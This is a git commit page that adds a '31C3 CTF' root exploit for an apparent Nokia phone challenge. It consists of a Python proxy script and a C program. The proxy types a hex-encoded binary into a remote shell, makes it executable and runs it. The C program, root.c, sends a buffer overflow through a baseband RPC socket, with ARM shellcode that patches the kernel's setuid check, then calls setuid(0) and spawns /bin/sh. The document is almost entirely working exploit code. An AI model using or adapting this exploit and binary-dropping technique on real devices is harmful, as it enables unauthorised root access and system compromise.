31C3 CTF: Add Nokia 31337 root exploit
This commit is contained in:
parent
cecf7c8d85
commit
246796e425
3 changed files with 109 additions and 6 deletions
|
@ -16,11 +16,11 @@ def waitk():
|
|||
wait_read(sys.stdin.fileno())
|
||||
return sys.stdin.read(1)
|
||||
|
||||
def typein(s, text):
|
||||
def typein(s, text, sl=0.01):
|
||||
for t in text:
|
||||
if t == '\xff':
|
||||
t = '\xff\xff'
|
||||
gevent.sleep(0.1)
|
||||
gevent.sleep(sl)
|
||||
s.send(t)
|
||||
|
||||
def copier(src, dst):
|
||||
|
@ -38,7 +38,7 @@ def handle(client, address):
|
|||
# Uncomment for production, after brute-forcing token
|
||||
#print remote_socket.recv(1024)
|
||||
#gevent.sleep(1)
|
||||
#remote_socket.send('3573-1419883439.0-4a0ee4c7cbbe18cf39fd76348899c861\n')
|
||||
#remote_socket.send('56487-1420134316.0-18deaee18219864d9b7711d8bab374ef\n')
|
||||
#gevent.sleep(1)
|
||||
|
||||
gevent.spawn(copier, client, remote_socket)
|
||||
|
@ -62,10 +62,23 @@ def handle(client, address):
|
|||
|
||||
print "press enter to get shell"
|
||||
waitk()
|
||||
while True:
|
||||
c = waitk()
|
||||
remote_socket.send(c)
|
||||
|
||||
f = open("root")
|
||||
d = f.read()
|
||||
f.close()
|
||||
|
||||
typein(remote_socket, "reset\n")
|
||||
gevent.sleep(2)
|
||||
typein(remote_socket, "rm -f root\n")
|
||||
for i in range(len(d)/128):
|
||||
dd = d[i*128:(i+1)*128]
|
||||
he = ''.join(["\\x%02x" % ord(ddd) for ddd in dd])
|
||||
typein(remote_socket, 'echo -ne "{}" >> root\n'.format(he), sl=0)
|
||||
|
||||
typein(remote_socket, "chmod +x root\n")
|
||||
typein(remote_socket, "./root\n")
|
||||
typein(remote_socket, "su root\n")
|
||||
typein(remote_socket, "cd /home/root\n")
|
||||
|
||||
server = gevent.server.StreamServer(local, handle)
|
||||
server.serve_forever()
|
||||
|
|
BIN
31c3/nokia/root
Executable file
BIN
31c3/nokia/root
Executable file
Binary file not shown.
90
31c3/nokia/root.c
Normal file
90
31c3/nokia/root.c
Normal file
|
@ -0,0 +1,90 @@
|
|||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <errno.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/socket.h>
|
||||
#include <netinet/in.h>
|
||||
|
||||
// Open a socket to the baseband RPC
|
||||
int rpcsock()
|
||||
{
|
||||
char sa[] = {
|
||||
0x29, 0x00,
|
||||
0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00,
|
||||
0x65, 0x00, 0x00, 0x00
|
||||
};
|
||||
struct sockaddr *sas = (struct sockaddr *)sa;
|
||||
int fd = socket(41, 5, 0);
|
||||
if (fd < 0)
|
||||
{
|
||||
printf("Could not open socket\n");
|
||||
exit(1);
|
||||
}
|
||||
if (connect(fd, sas, 0xC) != 0)
|
||||
{
|
||||
printf("Could not connect\n");
|
||||
exit(1);
|
||||
}
|
||||
return fd;
|
||||
}
|
||||
|
||||
char req[] = {
|
||||
// type 2, sms send
|
||||
0x02, 0x00, 0x00, 0x00,
|
||||
// target phone number
|
||||
0x00, 0x00, 0x00, 0x00
|
||||
};
|
||||
|
||||
// Shellcode to poke the kernel's sys_setuid
|
||||
// It patches a beq into a nop @ 0xc0034bd8
|
||||
// (the physical address is 0x08034bd8)
|
||||
char shell[] = {
|
||||
0x0c, 0x10, 0x9f, 0xe5, // ldr r1, [pc, #12]
|
||||
0x0c, 0x20, 0x9f, 0xe5, // ldr r2, [pc, #12]
|
||||
0x02, 0x28, 0xa0, 0xe1, // lsl r2, r2, #16
|
||||
0x08, 0x20, 0x81, 0xe5, // str r2, [r1, #8]
|
||||
0xfe, 0xff, 0xff, 0xea, // b 0 <pc>
|
||||
0xd0, 0x4b, 0x03, 0x08, // .word 0x08034bd0
|
||||
0xa0, 0xe1, 0xff, 0xff // .word 0xffffe1a0
|
||||
};
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
int rpc = rpcsock();
|
||||
|
||||
// Create the payload
|
||||
// - two Z bytes to align to 4 bytes
|
||||
// - shellcode
|
||||
// - overflow past buffer into saved pc
|
||||
// - pc set to beginning of shellcode (0x203390)
|
||||
uint8_t *buf = malloc(sizeof(req) + 178 + 8);
|
||||
memcpy(buf, req, sizeof(req));
|
||||
memcpy(buf+sizeof(req), "ZZ", 2);
|
||||
memcpy(buf+sizeof(req)+2, shell, sizeof(shell));
|
||||
memset(buf+sizeof(req)+2+sizeof(shell), 'a', 176-sizeof(shell));
|
||||
memcpy(buf+sizeof(req)+178, "\xde\xad\xbe\xef", 4);
|
||||
memcpy(buf+sizeof(req)+182, "\x90\x33\x20\x00", 4);
|
||||
|
||||
// Send it!
|
||||
send(rpc, buf, sizeof(req)+186, 0);
|
||||
|
||||
// The baseband RPC thread is now hanged (or crashed if something went
|
||||
// wrong)
|
||||
|
||||
// Since ARM is cache-incoherent, do some sleeps until the setuid patch
|
||||
// takes place.
|
||||
int retries = 10;
|
||||
do
|
||||
{
|
||||
retries--;
|
||||
sleep(3);
|
||||
}
|
||||
while (setuid(0) == -1 && retries > 0);
|
||||
|
||||
// Give it a shot.
|
||||
char *args[] = {"/bin/sh", 0};
|
||||
execve(args[0], args, 0);
|
||||
return 0;
|
||||
}
|
Loading…
Add table
Reference in a new issue